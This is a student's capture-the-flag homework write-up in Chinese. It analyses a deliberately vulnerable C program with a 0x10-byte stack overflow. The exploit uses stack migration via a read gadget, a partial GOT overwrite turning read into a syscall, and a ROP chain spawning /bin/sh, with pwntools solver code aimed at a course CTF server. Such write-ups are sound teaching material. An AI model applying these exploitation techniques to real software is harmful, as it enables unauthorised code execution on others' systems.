## CTF HW3 - Readme

0316313 張逸群

## **Observation**

• 主程式

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(){
    char buf[0x20];
    setvbuf(stdout,0,_IONBF,0);
    printf("Read your input:");
    read(0,buf,0x30);
    return 0;
}
```

- 。 可以發現在第 9 行的地方對 buf 進行 read, 有 buffer overflow 的漏洞
- 。 但僅可以 overflow 0x10 的空間,因此須先 overflow rbp 以及 ret
- 。 其後使用 read gadget 進行 rop chain 的寫入
- read gadget

```
000000000040062b
                                                          rax, qword [rbp+var_20] edx, 0x30
                                        lea
                                                                                                                               ; argument "nbyte" for method j_read
; argument "buf" for method j_read
; argument "fildes" for method j_read
 0000000000040062f
00000000000400634
                                        mov
                                                          rsi, rax
edi, 0x0
                                        mov
 0000000000400637
                                        call
mov
 0000000000040063c
                                                          i read
                                                          eax, 0x0
 00000000000400646
                                         leave
0000000000400647
```

- 。 因為其後接著 leave 以及 ret ,須先控制 rbp 並做 stack migration
  - 此次作業是用兩段記憶體空間進行輪流寫入,以寫出 final rop chain
- vmmap

- 可以發現在 0×601000 0×602000 的地方可以進行讀寫
  - 其中開頭及結尾的部分被程式使用,需避開
- 可將 stack rop chain 放置至此
- partial got hijack

- o stack 在 0x601000 0x602000 的位置並**不足夠**使用 printf 進行 leaking
- 在 read function 內的 0xf722e 的位置有 syscall
  - 因此使用 partial got hijack 的方式
  - 將 read@got 第一個 byte 寫成 0x2e 即可使用 read@plt 呼叫 syscall

## Solver

• 使用 read gadget 以寫入 rop chain

- payload 長度需為 0x20
- 。 之後放入 rbp address 以進行 stack migration
- 最後放入 read gadget address
- main function

```
if __name__ == '__main__':
    if pwnlib.args.args['REMOTE']:
       p = pwn.connect('csie.ctf.tw', 10135)
   else:
       p = pwn.process('./readme-fc826c708f619e14b137630581b766b23e3db765')
   libc = pwn.ELF('./libc.so.6-14c22be9aa11316f89909e4237314e009da38883')
   fc = final_chain()
   print p.recvuntil(':') # read your input:
   p.send(main_chain(buf1_address, 'x'*0x20))
   for i in range(len(fc)//0x20):
       p.send(main_chain(buf2_address+0x20*i, fc[i*0x20:(i+1)*0x20]))
       time.sleep(0.01)
       p.send(main_chain(buf1_address, fc[i*0x20:(i+1)*0x20]))
   p.send(main_chain(buf2_address-0x20, '/bin/sh\x00'.ljust(0x20), leave=True))
   time.sleep(0.5)
   p.send('\x2E') # partial_got_overwrite
   leak_printf_got = pwn.u64(p.recv(0x8))
   p.recv(59-0x8)
   libc_base = leak_printf_got - libc.symbols['printf']
   p.interactive()
   print p.recvall()
```

- 將 final\_chain 塞入 memory
  - a. 先進行第一次 buffer overflow, 並將 rbp 設為 buf1\_address
  - b. 其後在 buf1\_address 中寫入 'x'\*20 + buf2\_address + read\_gadget\_address
  - c. 之後便可以在 buf2\_address 寫入 final\_chain ,但只能寫入 0x20 的長度,設定 rbp 回 buf1\_address
  - d. 重複 2-3 步直到 final\_chain 寫完
- 將 final\_chain 寫入之後便可以移到 buf2\_address-0x20 的位置,開始進行 final rop chain
- 寫入 /bin/sh 至 buf1 address 以便之後使用
- final chain

- 。 final\_chain 先對 read@got 進行 partial got hijack
- 之後以 syscall 進行 write ,將 59 個 byte 輸出至 stdout ,以便之後使用 sys\_execve

- 最後使用 sys\_execve 執行 /bin/sh
- 。 後面放入 ret padding,以方便先前的輸入
- partial got hijack

```
def partial_got_overwrite(nbytes):
   c += pack(0x00000000004006ab) # pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
   c += pack(1) # rbp =
   c += pack(read_got_address) # r12
   c += pack(nbytes) # edx
   c += pack(read_got_address) # rsi, buf*
  c += pack(0) # edi, filde
  c += pack(0x000000000004006b3) # pop rdi ; ret
  c += pack(0) # rdi = 0
  c += pack(0x0000000000400686) # xor ebx, ebx
  c += pack(0)
  c += pack(0)
   c += pack(buf2_address-0x20+8) # rbp = buf2_address-0x20+8
   c += pack(0)
   c += pack(nbytes)
   c += pack(read_got_address)
   c += pack(0)
```

- 使用 rop chain 以將 read@got 第一個 byte 寫成 0x2e
- 其後 read 變成了 syscall